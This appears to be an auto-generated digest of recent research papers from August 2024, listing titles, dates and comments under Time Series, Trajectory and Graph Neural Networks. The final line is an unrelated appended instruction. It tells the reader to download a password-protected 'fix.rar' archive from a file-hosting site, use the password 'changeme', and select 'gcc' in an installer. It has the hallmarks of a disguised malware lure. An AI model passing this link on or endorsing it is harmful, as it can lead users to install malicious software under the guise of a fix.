Latest 15 Papers - August 27, 2024

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Time Series

Title	Date	Comment
Low-light phase retrieval with implicit generative priors	2024-08-23
A latent space model for multivariate count data time series analysis	2024-08-23	36 pa... 36 pages, 21 figures, 6 tables
Multivariate Time-Series Anomaly Detection based on Enhancing Graph Attention Networks with Topological Analysis	2024-08-23	10 pa... 10 pages, 5 figures, to be published in CIKM 2024
A Comparison of Deep Learning and Established Methods for Calf Behaviour Monitoring	2024-08-23
Split Conformal Prediction and Non-Exchangeable Data	2024-08-23
ml_edm package: a Python toolkit for Machine Learning based Early Decision Making	2024-08-23
Causal Hierarchy in the Financial Market Network -- Uncovered by the Helmholtz-Hodge-Kodaira Decomposition	2024-08-23
S$^3$Attention: Improving Long Sequence Attention with Smoothed Skeleton Sketching	2024-08-23
Robust Predictions with Ambiguous Time Delays: A Bootstrap Strategy	2024-08-23
Event Detection via Probability Density Function Regression	2024-08-23
Bidirectional Gated Mamba for Sequential Recommendation	2024-08-23
TimeMachine: A Time Series is Worth 4 Mambas for Long-term Forecasting	2024-08-22	27TH ... 27TH EUROPEAN CONFERENCE ON ARTIFICIAL INTELLIGENCE (ECAI-2024)
Benchmarking Counterfactual Interpretability in Deep Learning Models for Time Series Classification	2024-08-22	15 pages, 27 figures
SST: Multi-Scale Hybrid Mamba-Transformer Experts for Long-Short Range Time Series Forecasting	2024-08-22
Assessing Lower Limb Strength using Internet-of-Things Enabled Chair	2024-08-22	12 Pages

Trajectory

Title	Date	Comment
Multi-finger Manipulation via Trajectory Optimization with Differentiable Rolling and Geometric Constraints	2024-08-23
A New Perspective to Fish Trajectory Imputation: A Methodology for Spatiotemporal Modeling of Acoustically Tagged Fish Data	2024-08-23
An open-source framework for data-driven trajectory extraction from AIS data -- the $α$-method	2024-08-23
Differentially Private Spatiotemporal Trajectory Synthesis with Retained Data Utility	2024-08-23	6 pages, 5 figures
Minimizing Movement Delay for Movable Antennas via Trajectory Optimization	2024-08-23	6 pag... 6 pages,6 figures, submit to GLOBECOM 2024 Workshop - IRAFWCC
DBHP: Trajectory Imputation in Multi-Agent Sports Using Derivative-Based Hybrid Prediction	2024-08-23
Beyond Shortsighted Navigation: Merging Best View Trajectory Planning with Robot Navigation	2024-08-22	7 pag... 7 pages, 8 figures, 5 tables
MuTT: A Multimodal Trajectory Transformer for Robot Skills	2024-08-22
Online state vector reduction during model predictive control with gradient-based trajectory optimisation	2024-08-21	18 pa... 18 pages, 4 figures, accepted to WAFR 2024
Comparative Analysis of NMPC and Fuzzy PID Controllers for Trajectory Tracking in Omni-Drive Robots: Design, Simulation, and Performance Evaluation	2024-08-21
TrAME: Trajectory-Anchored Multi-View Editing for Text-Guided 3D Gaussian Splatting Manipulation	2024-08-21
ComTraQ-MPC: Meta-Trained DQN-MPC Integration for Trajectory Tracking with Limited Active Localization Updates	2024-08-20	* Equal contribution
Inference on summaries of a model-agnostic longitudinal variable importance trajectory with application to suicide prevention	2024-08-20	81 pa... 81 pages (34 main, 47 supplementary), 8 figures (4 main, 4 supplementary), 29 tables (2 main, 27 supplementary)
Towards reliable real-time trajectory optimization	2024-08-20	PhD T... PhD Thesis, University of Tartu, 2024. The thesis was defended on 21st of June. https://dspace.ut.ee/items/a65d36c9-afe7-44ab-b544-20236177ed79
Safety Metric Aware Trajectory Repairing for Automated Driving	2024-08-20

Graph Neural Networks

Title	Date	Comment
Multivariate Time-Series Anomaly Detection based on Enhancing Graph Attention Networks with Topological Analysis	2024-08-23	10 pa... 10 pages, 5 figures, to be published in CIKM 2024
Topics as Entity Clusters: Entity-based Topics from Large Language Models and Graph Neural Networks	2024-08-23	16 pa... 16 pages, 1 figure. Accepted in LREC-COLING 2024
Non-Homophilic Graph Pre-Training and Prompt Learning	2024-08-23	Under review
Disentangling, Amplifying, and Debiasing: Learning Disentangled Representations for Fair Graph Neural Networks	2024-08-23
HGNAS: Hardware-Aware Graph Neural Architecture Search for Edge Devices	2024-08-23	Accep... Accepted by IEEE Transactions on Computers
SIMPNet: Spatial-Informed Motion Planning Network	2024-08-23
Data-Driven Parametrization of Molecular Mechanics Force Fields for Expansive Chemical Space Coverage	2024-08-23	ByteF... ByteFF, a machine learning parametrized MMFF
Advanced atom-level representations for protein flexibility prediction utilizing graph neural networks	2024-08-22
Enhanced Expressivity in Graph Neural Networks with Lanczos-Based Linear Constraints	2024-08-22
Talos: A More Effective and Efficient Adversarial Defense for GNN Models Based on the Global Homophily of Graphs	2024-08-22
A Flexible, Equivariant Framework for Subgraph GNNs via Graph Products and Graph Coarsening	2024-08-22	Prepr... Preprint, under review
GNN-SKAN: Harnessing the Power of SwallowKAN to Advance Molecular Representation Learning with GNNs	2024-08-22	10 pages, 6 figures
Fair Augmentation for Graph Collaborative Filtering	2024-08-22
Rank and Align: Towards Effective Source-free Graph Domain Adaptation	2024-08-22	Publi... Published in IJCAI2024
Behavior Pattern Mining-based Multi-Behavior Recommendation	2024-08-22

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Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."